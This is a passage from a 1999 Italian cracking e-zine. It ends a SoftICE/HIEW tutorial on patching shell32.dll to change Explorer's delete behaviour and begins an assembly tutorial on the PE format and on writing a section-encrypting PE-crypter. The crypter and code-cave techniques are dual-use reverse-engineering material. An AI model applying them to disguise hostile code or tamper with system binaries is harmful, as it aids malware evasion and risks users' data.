CODICE 34172h, NON all'offset 34172h (che e' relativo alla riga di codice 7FDE4D72)....hmmm problemuccio fastidioso eh?? Su, basta un po' di logica.... non dimenticatevi MAI della potenza di SoftICE...entrateci e scrivete CODE ON (se non l'avete gia' nella init string)...questa opzione vi permettera' di visualizzare i bytes relativi alle varie istruzioni del codice...adesso mettete un bel bpx su 7FDE4968 (il je relativo alla pressione del button "NO") ...per entrare nel codice della dll basta il solito bpx DialogBoxParamA. ora premete "NO" alla richiesta di spostamento del file nel cestino, e vi troverete fermi sulla riga del je su cui abbiamo piazzato il bpx. Se continuate con l'esecuzione causerete un GPF, ma se invece premete A (Assemble instruction), Sice vi dara' un simpatico prompt in cui potrete inserire il codice che volete, relativo alla riga in cui vi trovate. Non dovete far altro che inserirvi "JE 7FDE4D72", e noterete un cambiamento dei bytes a fianco all'istruzione. Prendete un pezzo di carta, e segnatevi per filo e per segno quei bytes. Dovrebbero essere questi: 0F8404040000. Detto cio', uscite da tutto e aprite HIEW con il vostro file temporaneo shell32.new...andate all'offset 33D68h, premete F3 e inserite l'ESATTA sequenza di bytes che vi ha dato SoftICE. Salvate il file, riavviate in modalita' MsDos, andate sotto windows\system e copiate SHELL32.NEW in SHELL32.DLL (che adesso e' sovrascrivibile, perche' non c'e' Windows in esecuzione). Mi raccomando la copia di Backup del file. adesso riavviate Windows.....aprite explorer e provate "elimina" su di un file che non vi interessa...se premete ESC, il file resta li'.....se premete "SI" viene spostato nel cestino...e se premete "NO" il file scompare dall'hard disk!! E' FATTA! :D __________ Con questo tutorial ho voluto dimostrare come puo' essere semplice fare un po' di sano reversing, e spero che qualcuno abbia imparato qualcosa da questo txt. Se avete problemi a seguire il tutorial o volete chiedermi o comunicarmi qualcosa, il mio indirizzo e' neural_noise@hotmail.com Detto cio', saluto tutti gli amici da #cracking4newbies, #crack-it e RingZ3r0 ...e colgo l'occasione per dare il benvenuto ad ALoR nel gruppo!!! :) till next time...... -NeuRaL_NoiSE 1999 NOTA BY N0bodY88 = ancora grazie a RingZ3r0 e all'autore NeuRaL_NoiSE x averci permesso di pubblicare all'interno di NewBies questo simp mitico tutorial. PS: complimenti a NN che oltre a essere bravo e' sempre disponibile e strasimpatico {|:->) NOTA DI N0bodY88 = mi scuso con i mitici membri di ringZ3r0 se ho dovuto modificare le impostazioni dei loro articoli ma dato che nei num. precedenti ci hanno scritto che le stampe venivano male allora in questo numero abbiamo deciso di fare il tutto al max largo quanto una pagina (a parte qualke tabella e qualke eccezione, cmq ricordo che NewBies e' fatta x essere letta e stampata con l'edit di dos [ il buon vecchio editor :-D ]). Se volete vedere gli art/tut. originali cmq basta che andate sul sito ringZ3r0 :-)....al solito...io vi consiglio di scaricarvelo tutto con teleport xche' se cominciate a leggere online....okkio alla bolletta!!!!!!!!! [x] ringZ3r0 Proudly Presents [x] PE-Crypters : uno sguardo da vicino al c.d. "formato" PE Kill3xx 02 Marzo,1999 --==[ PREMESSA ]==---------------------------------------------------------- LE INFORMAZIONI CHE TROVATE ALL'INTERNO DI QUESTO FILE SONO PER PURO SCOPO DIDATTICO. L'AUTORE NON INCORAGGIA CHI VOLESSE UTILIZZARLE PER SCOPI ILLEGALI. --==[ DIFFICOLTA' ]==--------------------------------------------------------- scala : *=Novizio, **=Apprendista, ***=Esperto, ****=Guru target: *** --==[ TOOLS USATI ]==--------------------------------------------------------- * TASM * PROCDUMP 1.3 * PE Browse * HIEW 6.01 --==[ LETTERATURA ]==--------------------------------------------------------- "Peering Inside the PE: A Tour of the Win32 Portable Executable File Format" (M. Pietrek), Microsoft Systems Journal 3/1994 "Windows 95 Programming Secrets" (M. Pietrek), IDG BOOKS, 1995 "Why to Use _declspec(dllimport) & _declspec(dllexport) In Code", MS KB Q132044 "Writing Multiple-Language Resources", MS Knowledge Base Q89866 "The Portable Executable File Format from Top to Bottom" (Randy Kath), MSDN "The PE file format" (B. Luevelsmeyer), reperibile sulla rete --==[ INTRODUZIONE ]==-------------------------------------------------------- Salve gente :) Quello che vi presento questa volta e' il primo di una serie di tre tutorial sul formato PE e soprattutto sull'utilizzo/abuso che ne fanno i vari PE-Crypters/Packers/Wrappers. Come avete sicuramente notato negli ultimi tempi c'e' stata un'esplosione di crypters e packers freeware/share/commerciali e sopratutto un loro massiccio impiego come parte della protezione di un programma: questo si spiega con il fatto che il formato PE e' oramai piu' o meno conosciuto e che soprattutto e' noto come il loader di win95/Nt crea un processo a partire dall'immagine su disco (qui dobbiamo ringraziare i vari Pietrek,Shulman,ecc. per aver aperto il vaso di Pandora;) Nel primo (quello che state leggendo :)) trattero' del formato PE in generale e cerchero' di commentare i sorgenti di un semplice pe-crypter da me scritto per l'occasione. Nel secondo parleremo di unpacking "a mano" o assistito :) (Procdump,SoftDump,ecc.), ed infine nel terzo se tutto filera' liscio vedremo come realizzare un decrypter e alcune tecninche anti-dumping. Una premessa: nell'analizzare questo formato non mi dilungero' su quali siano le origini di questo formato o su il significato di tutte le strutture e/o campi che lo compongono: in primo luogo perche' potete trovare dettagliate informazioni nei testi riportati nella "letteratua", in secondo luogo perche' molte di queste strutture/campi o non sono coerenti fra i vari linker o sono obsolete, o semplicemente non sono fondamentali per i nostri scopi (ricordate che parliamo di pe-crypters). --==[ IL FORMATO PORTABLE EXECUTABLE ]==-------------------------------------- Per una visione di insieme del formato PE dobbiamo far ricorso alla fonte princiapale di documentazione (l'unica prima dei testi di Pietrek e Kath): winnt.h Questo ominipresente file header (fornito con tutti gli SDK,DDK di M$) contiene la definizione delle principali strutture e costanti che interessano il formato PE, quindi per qualsiasi cosa dovremmo fare riferimento a questo file. La principale caratteristica di questo formato e' la relativa facilita' con cui il loader puo' reperire le informazioni con cui "creare" un nuovo processo, che si traduce poi in una maggior velocita' di caricamento/esecuzione di una applicazione/modulo, e chi ha presente il formato NE sa cosa voglio dire! Il layout di un exe PE e' tendenzialmente (si esatto proprio "tendenzialmen_ te") questo: +===================+ +00 -> dos header.[3C] ---+ | DOS (MZ) Header | | +-------------------+ +40 | | DOS Stub | | +===================+ +00 -> inizio PE header <-+ | NT (PE) Header | |- - - - - - - - - -| +04 | file-header | |- - - - - - - - - -| +1A | optional header | |- - - - - - - - - -| +78 | data directories | | | +===================+ <- PE header + FileHeader.SizeOfOptionalHeader + | section headers | sizeOf(FileHeader) | array | ~-------------------~ |......padding......| ~-------------------~ | | | dati section2 | | | +-------------------+ | | | dati section2 | | | +-------------------+ | .............. | +-------------------+ | | | dati section n | | | +-------------------+ Come vedete la prima struttura che incontriamo e' il DosHeader (buon vecchio dos ;)): IMAGE_DOS_HEADER STRUC e_magic DW ? ;+00 ; Magic number ...... e_lfanew DD ? ;+3C ; Address of PE header IMAGE_DOS_HEADER ENDS Di questa struttura cio' che maggiormente ci interessa sono e_magic : questa DW contiene la signature che identifica un file eseguibile DOS valido ed e' definita come : 0x05A4 che corrisponde alla stringa MZ (no dai!?? ;)) e_lfanew: questa DD invece e' invece la chiave di accesso alla nuovo header PE. Si tratta di un RVA (ne parliamo dopo degli RVA) che punta al l'inizio della struttura NT Headers. Di conseguenza se volete ad exp. ottenere l'offset del PE Header relativo all'inizio di file mappato in memoria dovrete prima leggere questo valore e quindi sommarlo alla base del vista del Memory Mapped File (da ora MMF per gli amici ;) La presenza del campo e_lfanew si spiega con il fatto che di seguito al Dos Header possiamo trovare uno stub ms-dos: questo altro non e' che quel mini-programma ci avverte cordialmente :)) che l'eseguibile e' destinato all'ambiente Win32,OS/2, ecc.. Dato che questo stub e' _opzionale_ si e' reso necessario fornire un pratico sistema al loader per evitare di impaltanarsi nel caso lo stub non fosse linkato o di dimensioni diverse. Ora guardiamo piu' in dettaglio la struttura IMAGE_NT_HEADERS: 31 0 31 0 +-------------------------------------------------------+ <--+ | SIGNATURE | MACHINE | # SECTIONS | | +---------------------------+-------------+-------------+ | Signature + | TIME/DATE STAMP | POINTER TO SYMBOL TABLE | | FileHeader +---------------------------+-------------+-------------+ | | NUMBER OF SYMBOL | NT HDR SIZE| IMAGE FLAGS | <--+ +=============+======+======+=============+=============+ <--+ | MAGIC |LMAJOR|LMINOR| SIZE OF CODE | | +-------------+------+------+---------------------------+ | | SIZE OF INITIALIZED DATA | SIZE OF UNINITIALIZED DATA| | +---------------------------+---------------------------+ | | ENTRYPOINT RVA | BASE OF CODE | | +---------------------------+---------------------------+ | | BASE OF DATA | IMAGE BASE | | +---------------------------+---------------------------+ | | SECTION ALIGNMENT | FILE ALIGNMENT | | +-------------+-------------+-------------+-------------+ | Optional Header | OS MAJOR | OS MINOR | USER MAJOR | USER MINOR | | +-------------+-------------+-------------+-------------+ | | SUBSYS MAJOR| SUBSYS MINOR| WIN32 VERSION | | +-------------+-------------+---------------------------+ | | IMAGE SIZE | HEADER SIZE | | +---------------------------+-------------+-------------+ | | FILE CHECKSUM | SUBSYSTEM | DLL FLAGS | | +---------------------------+-------------+-------------+ | | STACK RESERVE SIZE | STACK COMMIT SIZE | | +---------------------------+---------------------------+ | | HEAP RESERVE SIZE | HEAP COMMIT SIZE | | +---------------------------+---------------------------+ | | LOADER FLAGS | # INTERESTING RVA/SIZES | | +===========================+===========================+ | <-+ | EXPORT TABLE RVA | TOTAL EXPORT DATA SIZE | | | +---------------------------+---------------------------+ | | | IMPORT TABLE RVA | TOTAL IMPORT DATA SIZE | | | +---------------------------+---------------------------+ | | | RESOURCE TABLE RVA | TOTAL RESOURCE DATA SIZE | | | +---------------------------+---------------------------+ | | | EXCEPTION TABLE RVA | TOTAL EXCEPTION DATA SIZE | | | +---------------------------+---------------------------+ | | | SECURITY TABLE RVA | TOTAL SECURITY DATA SIZE | | | Data +---------------------------+---------------------------+ | | Directory | FIXUP TABLE RVA | TOTAL FIXUP DATA SIZE | | | +---------------------------+---------------------------+ | | | DEBUG TABLE RVA | TOTAL DEBUG DIRECTORIES | | | +---------------------------+---------------------------+ | | | IMAGE DESCRIPTION RVA | TOTAL DESCRIPTION SIZE | | | +---------------------------+---------------------------+ | | | MACHINE SPECIFIC RVA | MACHINE SPECIFIC SIZE | | | +---------------------------+---------------------------+ | | | THREAD LOCAL STORAGE RVA | TOTAL TLS SIZE | | | +---------------------------+---------------------------+ | | | LOADER CONFIGURATION RVA | LOADER DATA SIZE | | | +---------------------------+---------------------------+ | | | BOUNDED IMPORTS TABLE | BOUNDED IMPORTS DATA SIZE | | | +---------------------------+---------------------------+ | | | IMPORT ADDRESSES TABLE | TOTAL IAT SIZE | | | +---------------------------+---------------------------+ <--+ <-+ come vedete e' l'unione di due strutture , l'IMAGE_FILE_HEADER e IMAGE_OPTIONAL_HEADER, piu' una DWORD, la c.d. signature: questo ci porta ad una prima considerazione ovvero che gli headers del PE sono _CONSECUTIVI_ in memoria (o su disco) e quindi i campi possono essere letti con semplicita' come offsets relativi all'inizio degli NT headers. Ora analizziamo i campi piu' importatanti (per questioni di spazio non riporto la dichiarazione degli headers, plz fate riferimento al file imghdr.inc) * Signature : questo signature ha la funzione di identificare il tipo di eseguibile e il S.O. (o sottosistema per NT) a cui e' destinato l'eseguibile; ad esempio : IMAGE_OS2_SIGNATURE 0x0454E = NE = new executable = os/2 o win3x IMAGE_NT_SIGNATURE 0x000004550 = PE00 = win9x / winNT #IMAGE_FILE_HEADER# * Machine: indica il processore target (ricordate che NT e' multiplatform) * TimeDateStamp: time stamp usata per identificare la versione del modulo (ad esempio nel meccanismo di import binding), ma spesso inconsistente. Non fidatevi! * NumberOfSections: indica il numero di sezioni presenti, nonche' il numero di entries nel section headers table. In teoria dovrebbe essere consistente con il numero di sezioni presenti ma non fidatevi visto che il loader non pare curarsene. * ImgFlags: indica il tipo di immagine (ad esempio eseguibile,dll) ed alcune caratteristiche che la riguardano e che sono derivate dalle opzioni di compilazione/linking (ad esempio se sono presenti le informazioni di debug,numeri di linea,ecc. se e' stata impostata una imagebase fixed,ecc. *SizeOfOptionalHeaders: indica la size degli optional headers (normamente 0xE0). La presenza di questo campo e' la conseguenza della natura estensibile del formato PE. #IMAGE_OPTIONAL_HEADER# Questa struttura e' diciamo la piu' importante, in quanto raccoglie molte delle informazioni vitali che verranno utilizzate dal loader per recuperare i dati dalle sezioni e quindi creare il process in memoria. Anche in questo caso analizzeremo le piu' importanti in quanto come vi ho gia' anticipato gli altri campi non appaiono essere consistenti da linker a linker o tra versioni diverse di questi, o addirittura ignorati (rientrano in questa categoria anche i vari SizeOfCode,SizeOfInitializedData,SizeOfUnitializedData): * AddressOfEntryPoint: questo campo contine l'RVA dell'entrypoint del modulo, cioe' il punto in cui il loader trasferira' l'esecuzione una volta terminata la fase di caricamento/ inizializzaione: inevitabilmente punta all'interno di una sezione che possiede i flag readable/executable (solitamente .text, CODE) * BaseOfCode: indica l'RVA della prima sezione di codice (.text, CODE) ed utilizzata presumibilmene dal loader nella fase di mapping per settare gli attributi di pagina * BaseOfData: idem come sopra ma per la prima sezione dati * ImageBase: questo campo e' di vitale importanza in quanto riporta la cosidetta "preferred imagebase" ovvero l'indirizzo lineare nello spazio di indirizzamento privato utilizzato dal linker per risolvere gran parte dei fixup nonche' la base a cui si riferiscono tutti gli RVA: questo significa che se il loader di windowz deve mappare l'immagine ad un indirizzo diverso sara' necessario applicare le base relocations (parlero piu' in dettaglio delle implicazini della imagebase nella sezione RVA e base rilocations). * SectionAlignment: quando il loader di window mappa in memoria il file immagine utilizza i MMF in modo che occupi uno blocco consecutivo di memoria nello spazio di indirizzamento.Tuttavia per questioni di ottimizzazione nella gestione della memoria virtuale (ad exp. nello share di porzioni di codice, nel caricamento di pagine non presenti,ecc.) in w9x ogni sezione deve essere allineata ad un multiplo della unita' minima gestita dal VMM : 1 pagina x86 = 4096 = 1000h (attenzione a non confonderla con la granularita' di allocazione che e' di 64k). Questa limitazione non si applica a NT (il minimo e' 32byte) ma non credo che vogliate degli eseguibili "incompatibili". * FileAlignment: questo campo e' un antico retaggio di quando windowz95 utilizzava il filesystem FAT, e per ottimizzare i caricamenti si era pensato di allineare i dati delle sezioni su disco ad un multiplo della grandezza di un settore (200h = 512 b). Nel caso sia necessario i linkers zero-paddano (azz che espessione :) lo spazio non utilizzato. * SizeOfImage: ecco un esempio di come i membri della famiglia Win32 non comunichino molto!:) questo campo riporta la grandezza del l'immagine una volta in memoria e quindi lo spazio totale che il loader deve riservare per il suo caricamento. E' costituita dalla somma dell'header + le VirtualSize delle sezioni presenti ed arrotondata al multiplo piu' vicino della SectionAlignment. Quest'ultimo fatto e' stato fonte di problemi per molti coders che avevano testato le loro creature solo con win95 dato che questo ignora l'allineamento continuando pacificamente mentre NT si inkazza non poko se non trova un valore consistente. Mi raccomando non fate inkazzare NT ;) * SizeOfHeaders: il valore qui riportato altro non e' che la somma delle imensioni dei vari headers che precedono i dati delle sections (DosHeader+Stub+NtHeaders,SectionHeaders): in sostanza e' una sorta di puntatore ai rawdata dato che ImageBase+SizeOfHeaders vi porta direttamente all'inizio della prima sezione, sia che stiate lavorando con l'immagine di un processo in memoria,o su disco/MMF. * CheckSum: altro esempio di differente comportamento fra 9x/Nt: questo valore rappresenta un checksum dell'immagine del file PE, concepita per evitare che il loader carichi un eseguibile corrotto e/o inconsistente, solo che questa verifica e' effettivamente compiuta solo dal loader di NT e esclusivamente per file di sistema. Win9x ignora totalmente questo campo tant'e' che i linker normalmente lasciano a 0 questo campo. Nel caso vogliate modificare un PE che sapete essere di utilizzato da Nt a livello di sistema (ad exp. un service, una dll, ecc.) e' auspicabile che aggorniate correttamente il campo. L'algoritmo di calcolo e' ofcoz propietario M$ ma cmq e' possibile utilizzare la funzione CheckSumMappedFile esportata dalla ImgHlp.dll ormai molto in voga sui sistemi M$;) * NumberOfRvaAndSizes: questo campo indica la dimensione dell'array di strutture IMAGE_DATA_DIRECTORY che inizia dal campo DataDirectory. Attualmente e' fissato a 16 elementi ma non necessariamente per sempre ;) * DataDirectory: questo pseudocampo in realta e' un array di strutture che rappresentano per il loader una sorta di shortcut per accedere velocemente alle informazioni piu' sensibili per la creazione/inizializzazione del processo: ogni entry (indici da 0..15) riporta l'RVA e la VirtualSize di specifiche informazioni/strutture: le piu' importati sono: 0 : funzioni esportate dal modulo (ET) 1 : funzioni importate ma non bounded (IT) 2 : inizio della resource directory (resROOT) 5 : base relocations 9 : blocco thread local storage (TLS) 11: funzioni importate bound (BIT) 12: import addresse table (IAT) Una cosa importante da dire e' che il loader fa sempre riferimento a questa tabella per accedere ai dati del processo e non alla tabella dei section headers. Se volete ad exp. reperire le informazioni su dove reperire le risorse (ad exp. per evitare di criptarle) non utilizzate i nomi delle section tipo .rsrc visto che questi sono _puramente_ convenzionali: nessuno ci garantisce cosa ci sia dentro o che qualcuno li abbia rinominati (molti crypters lo fanno). Detto questo va da se che i dati qui presenti devono essere ASSOLUTAMENTE coerenti o il programma si piantera'inesorabilmente. Di seguito al OptionalHeader inzia l'array di strutture IMAGE_SECTION_HEADER noto come sections table: ogni elemento di questo array descrive i dati essenziali di una sezione presente nel file di cui come al solito analizziamo i piu' importanti: * SName: stringa di 8 byte con il nome della sezione (attenzione che non e' null termined) * SVirtualSize: convenzionalmente contiene la dimensione fisica (vedi SizeOfRawData) dei dati arrotondata ad un multiplo del section aligment. Questo campo in pratica dovrebbe dire al loader quanto spazio riservare in memoria per questa sezione. Notate che ho usato il condizionale perche' il loader sembra perfettamente ignorare questo campo in presenza di una rawsize "valida" ed effetuare da se i calcoli per una VSize corretta. Questo probabilmente spiega anche il fatto che la ImageSize venga ignorata da w9x. Cmq e' anche perfettamente lecito avere una rawsize = 0 e una VSize=0x1000, tant'e' che i packer sfruttano proprio questa caratteristica cambiando la rawsize ma lasciando inalterata la VSize (a dir il vero la VSize puo' anche sovrapporsi alla sezione successiva dato che e' cmq uno spazio solo "riservato" e non necessariamente utilizzato) purche' ovviamente non ci sia vera sovrascrizione :) Morale: il loader di win32 e' meno fesso del previsto, e scieglie con oculatezza (in pratica e' probabile faccia max(VSize,RawSize) quali informazioni siano piu' coerenti o se le calcola da se. Prendete esempio :)) * SVirtualAddress: tada'ecco un altro RVA :) .. questo permette di calcolare la posizione che avra' la sezione una volta caricata in memoria dal loader. Come ormai avrete capito deve essere maggiore, o un multiplo, del section alignment (che lo ricordiano non puo' essere minore di 0x1000 per compatibilita' con 9x) * SizeOfRawData: la dimensione fisicamente occupata dai dati su disco solitamente allineata al file alignment. Questo campo puo' essere totalmente indipendente dalla VSize ad exp. spesso incontrerete sezioni con rawsize = 0 ma che occupano spazio in memoria (tipicamente sezioni con dati non inizializzati (BSS, TLS, ecc.), ma cmq e'importante capire che almeno uno dei due valori dovra' contenere l'informazione dello spazio da minimo da riservare in memoria. Tenete conto di questa anomalia quando calcolate la ImageSize. * PointerToRawData: l'offset "fisico" a cui troverete i dati della sezione * SFlags: i flag che identificano le caratterestiche (codice,dati,ecc.) e quindi le i flags e le protezioni di pagina che verranno applicate (writable,readable,ecc.) Bene abbiamo analizzato gli headers che precedono i dati veri e propri delle sezioni..resta solo da notare che in effetti tra la fine dell'ultimo section header e l'inizio dei dati spesso si trova una "cavita'" ovvero un blocco non utilizzato ma presente per questioni di allineamento. Queste cavita' presenti anche tra le sezioni possono essere sfruttate per salvare codice e/o dati a patto che siano abbastanza grandi (i virus sono un classico esempio di utilizzatori di queste cavita'). Fra tutte queste cavita' quella che piu' ci interessa (miii che squallidi doppi sensi ;)) e' proprio quella fra la sections table e l'inizio della prima sezione, in quanto e' li che possiamo introdurre una nuova sezione seplicemente incrementando il campo FileHeader. NumberOfSection e accodando una struttura IMAGE_SECTION_HEADER all'array.. ovviamente questo discorso e' valido se c'e' abbastanza spazio (attenzione che per spazio va inteso quella tra la fine degli NTHeaders e l'RVA della prima sezione e non solo lo spazio "fisico", che normalmente e' minore per via che di solito file alignment < section alignment) alrimenti dobbiamo "necessariamente" appendere il nostro codice/dati nell'ultima sezione del file (oddio non e'proprio necessario che sia l'ultima, potremmo sciegliere una sezione qualsiasi, ma sicuramente e' molto piu' semplice che alterare gli RVA di tutte quelle sucessive). Ok, ora dovremmo trattare le strutture collegate alla IT,(la ET la trattero' nel terzo tutorial), rilocazione e alle risorse ma credo che sia meglio che le vediate all'opera quando commentero' il codice del crypter. Prima di tuffarci nel codice sara' pero' il caso che parliamo dei concetti di ImageBase e RVA che come avrete constatato permeano tutta la struttura del PE. #ImageBase e Relative Virtual Address# L'image base e' sostanzialmente l'indirizzo lineare a cui il loader mappera' l'immagine dell'eseguibile quando crea un nuovo processo, o carica un modulo (DLL). Questo indirizzo, riportato nel campo OptionalHeader.ImageBase, e' _specifico_ per ogni eseguibile ed e' essenzialmente l'indirizzo utilizzato (o specificato da noi) dal linker per risolvere i fixup. Tuttavia non sempre il loader puo' caricare l'immagine alla ImageBase specificata (detta appunto "preferred"): questa eventualita' (chiamata "collisione"), e' sostanzialmente impossibile per gli eseguibili (ovviamente se consideriamo il fatto che ogni processo win32 ha un suo spazio di indirizzamento "assolutamnete" privato.. per gli exe vedrete infatti sempre specificata come imagebase 0x400000) ma e' altamente probabile per una DLL che invece puo' essere caricata nello arena condivisa ( > 2gb e < 3gb in 9x; Nt non ha spazi r3 shared) o cmq in un'area gia' impegnata da una precedente allocazione di memoria. Se si verifica una collisione il loader per permettere all'esegubile di funzioanare sara' costretto ad applicare la c.d. base relocation, a patchare cioe' tutti qui riferimenti assoluti che il programma utilizza in modo che siano di nuovo coerenti. Considerati questi problemi si e' pensato di "virtualizzare" gli indirizzi assoluti almeno delle strutture utilizzate dal loader rendendo cosi' possibile referenziare le informazioni salvate dal linker a prescindere dalla imagebase: ecco quindi nascere l'idea dell'RVA, che e' appunto un scostamento relativo alla imagebase: quindi se volete leggere il valore di una DWORD che sta ad un RVA = 1234 basta che gli sommiate l'imagebase ed otterrete il suo Virtual Address (VA) cioe' l'indirizzo nello spazio di indirizzamento del processo: VA = RVA + ImageBase 0x401234 = 0x1234 + 0x400000 Ovviamente questo ragionamento e' valido se l'eseguibile e' stato mappato dal loader, perche' come sappiamo questo terra' conto del section alignment... ma se volessimo ottenere un offset "fisico" (su disco,MMF) dato un VA ? in questo caso dovremmo utilizzare le informazioni relative alla sezione che contiene quell'indirizzo (ovviamente dobbiamo trovarla cercando nella section table verificando che SVirtualAddress <= VA <= SVirtualAddress + SVirtualSize), relativizzare l'indirizzo rispetto all'inizio di quella sezione sottraendo l'imagebase e VA della sezione, ottenendo cosi' un offset che andremo a sommare all'offset fisico della sezione stessa: RAW OFS = (VA - ImageBase - SVirtualAddress) + PointerToRawData 0x834 = (0x401234 - 0x400000 - 0x1000 ) + 0x600 Bene questo e' tutto per i concetti di base: ora passiamo al codice vero e proprio. --==[ UN ESEMPIO PRATICO ]==------------------------------------------------------------------- I sorgenti che vi presento sono un esempio di semplice scheletro di crypter che supporta sia l'append che l'inserimento di una nuova sezione. Il crypter e' capace di gestire sia sezi oni codice, dati (esclusa .rdata), relocations info,import table, e risorse. Quello che ancora non fa e' gestire tutta la casistica presente nei formati PE diciamo "non convenzionali" (come al solito mamma M$ in testa!) , e cioe' forwarding , pre-binding old-style e new-style, deferred dll, o la gestione del TLS. Altra mancanza di rilievo (voluta visto che l'ho fatto in poko tempo e che sono sorgenti didattici.. ehhe non posso mika svelarvi tutto del crypter che sto facendo :)) e l'assenza di forme di anti-dump, anti-debug o anti-disasm. Ad ogni buon conto e' sufficientemente completo per iniziare a capire il funzionamento del PE. Ovviamente non vi riporto qui tutti i sorgenti (fate riferimento a pesentry.asm) ma solo alcuni passaggi diciamo piu' cruciali ed alcune scelte d'implementazione. open_file: mov [lpszFileName],edi call OpenFileEx ; open file with attribes ovveride cmp eax, INVALID_HANDLE_VALUE jz @@file_error prima considerazione : la funzione OpenFileEx apre il file assicurandosi pero' di salvare gli attributi del file nonche' data,ora di creazione,ecc.. mi sembra un modo + pulito di operare :) add eax,loader_len+(2000h) ; loader size + typical file align * 2 call CreateFileMapping,[hFile],NULL,PAGE_READWRITE,0,eax,NULL or eax,eax jz @@unable_to_map mov [hFileMap],eax call MapViewOfFile,eax,FILE_MAP_WRITE,0,0,0 ; map entire file or eax,eax jz @@unable_to_map mov [Image_Base],eax mov edi,eax come vedete ho scelto di utilizzare i MMF per manipolare l'eseguibile, la ragione e' che in questo modo posso gestire gli offset direttamente come scostamenti in memoria essendo sicuro di avere il file mappato in modo lineare. Questo metodo di procedere e' in sostanza lo stesso che utilizza il loader.. va notato pero' che i MMF hanno una loro piccola pecca, non possono essere ridimensionati una volta creati.. cio' ci costringe a prevedere un blocco abbastanza grande da contenere anche il nostro loader: sara' sufficente che sommiamo alla dimensione del file la size del codice/dati nostro loader + 2 pagine. Se prevedete di realizzare un packer o cmq di manipolare pesantemente il PE , vi consiglio (vero xOA ? :) di usare buffers allocati con VirtualAlloc che sono modificabili senza denneggiare i dati gia' caricati (VirtualReAlloc). Il puntatore ottenuto dalla MapViewOfFile costituisce ora la nostra ImageBase. Una piccola nota: come vedete i commenti nei sorgenti sono in inglese.. ehhe ragazzi sorry ma sono abituato cosi'.. l'inglese e' piu' conciso per certe cose :) call GetNtHeader or eax,eax ; on exit EDI = lpPEHeader jnz @@invalid_pe mov [lpPEHeader],edi questa call esegue un check per verificare che effetivamente abbiamo a che fare con un file pe eseguibile e nel caso affermativo torna il ptr al NTHeaders: GetNtHeader: push ebp mov ebp,esp push ebp ; save safe ESP push offset @@on_PE_except ; our simple handler push dword ptr fs:[0] ; save previous frame mov fs:[0],esp ; establish our SEH frame cmp word ptr [edi],IMAGE_DOS_SIGNATURE ; check MZ signature jnz short @@not_PE mov eax,[edi.e_lfanew] add edi,eax cmp dword ptr [edi],IMAGE_NT_SIGNATURE ; check PE signature jb short @@not_PE mov eax,dword ptr [edi.FileHeader.ImgFlags] not al or al,IMAGE_FILE_EXECUTABLE_IMAGE ; check for executable flag jz short @@is_PE or ax,IMAGE_FILE_DLL jz short @@not_PE @@is_PE:xor eax,eax jmp short @@valid_pe @@on_PE_except: mov eax,[esp+8] ; get ERR structure mov ebp,[eax+8] ; ERR + 8 = safe ESP @@not_PE: stc sbb eax,eax @@valid_pe: pop dword ptr fs:[0] ; remove SEH frame mov esp,ebp pop ebp ret come vedete verifico le due signature e la presenza dei flag caratteristici degli eseguibili.. l'unica cosa degna di nota oltre a questo e' la presenza di un exception frame.. un modo decisamente piu' rapito che una serie di call a IsBadxxxxxPtr,ecc. per verificare i puntatori. da qui in poi EDI sara' il puntatore agli NTHeaders movzx eax, [edi.FileHeader.SizeOfOptionalHeader] ; size of optional header lea eax,[edi+eax+18h] mov [lpSectionTable],eax qui otteniamo il puntatore all'inizio della Section table, che ci servira' per leggere le info di ogni section e per aggiungere il nostro loader creando una sezione nuova o espandendo l'ultima mov eax,[edi.OptionalHeader.ImageBase] mov eax,400000h mov [preferred_base],eax mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_IMPORT).VirtualAddress] mov [it_rva],eax mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_EXPORT).VirtualAddress] mov [et_rva],eax mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RELOC).VirtualAddress] mov [reloc_rva],eax mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_TLS).VirtualAddress] mov [tls_rva],eax mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RESOURCE).VirtualAddress] mov [rsrc_rva],eax qui salviamo in variabili statiche allocate nel loader gli RVA delle principali directories che poi ci serviranno sia per modificare gli RVA in modo che puntino alle nostre stutture sia al loader per riaggiuistare le cose a runtime. (nota il mov 0x400000 e' li' nel caso vogliate sperimentare con la rilocazione.. in questo caso dovrete cambiare l'imagebase del file da procdump in modo da forzare il load ad un altro linear address. Fatto questo si passa a cryptare le varie sezioni: encrypt_objects: movzx edx,[edi.FileHeader.NumberOfSections] ; number of section as counter xor ebx,ebx @@next_obj: call IsEncryptableObj ; check if section is encryptable or eax,eax jz short @@proceed mov dword ptr [crypt_flag],20202020h ; display status = skipped jmp short @@no_encrypt come counter per il loop utilizziamo il numero di sezioni riportate nel l'optional header: questo potrebbe essere una potenziale fonte di problemi visto che come ho detto il loader non si fila molto questo valore. per cui in un file potrebbe essere maliziosamente (si' perche' non vedo quale cacchio di linker si metterebbe a giocare con questo campo!??) incoerente. So far so good.. continuiamo.. la call IsEncryptableObj verifica che la sezione che stiamo per elaborare sia effetivamente criptabile: ad exp. la sezione .rdata e' una una di quelle che ci conviene evitare visto che e' spesso utilizzata da M$ (mortacci a loro!) per inserirci la export, la TLS,ecc. altra sezione da cui star lontano e' .edata che dovrebbe contenere esplicitamente la export table.. come criterio di verifica ho adottato un check "euristico" basato sugli rva presenti nella DataDirectory, sulle rawsize delle sezioni, tranne che per .rdata che e' verificata in base al nome :( Ora qui si pone un interessante problema: ma se ad exp. la export table fosse contenuta nella sezione .text (altra porkeria assolutamente possibile ma abbastanza remota per fortuna) il crypter skipperebbe tutta la sezione.. risposta positiva !.. per ovviare al problema bisogna identificare dove risiedono i blocchi non cryptabili in termini di RVA e quindi costruirsi una mappa di quello che si deve effettivamente cryptare (puo' bastare un array RVA + SIZE) che poi verra' usata sia dalla routine di encryption che dal loader. Ovviamente in questo sorgente non e' implementato questo meccanismo (te pareva ;)) perche' avrebbe complicato il codice che e' gia lungo di per se'.. @@proceed: mov eax,[esi.SVirtualAddress] mov [section_array.section_rva+ebx*8], eax ; save rva to loader table mov ecx,[esi.SizeOfRawData] mov [section_array.section_vsize+ebx*8], ecx ; save raw size ok.. se siamo qui vuol dire che la sezione e' criptabile.. salviamo gli RVA e le dimensioni delle sezioni cryptate in una tabella in modo che il loader sappia cosa abbiamo criptato... quindi usiamo SizeOfRawData come grandezza del blocco da crittare pusha ; save lpPEHeader mov edi,[esi.PointerToRawData] ; calc pointer to raw data 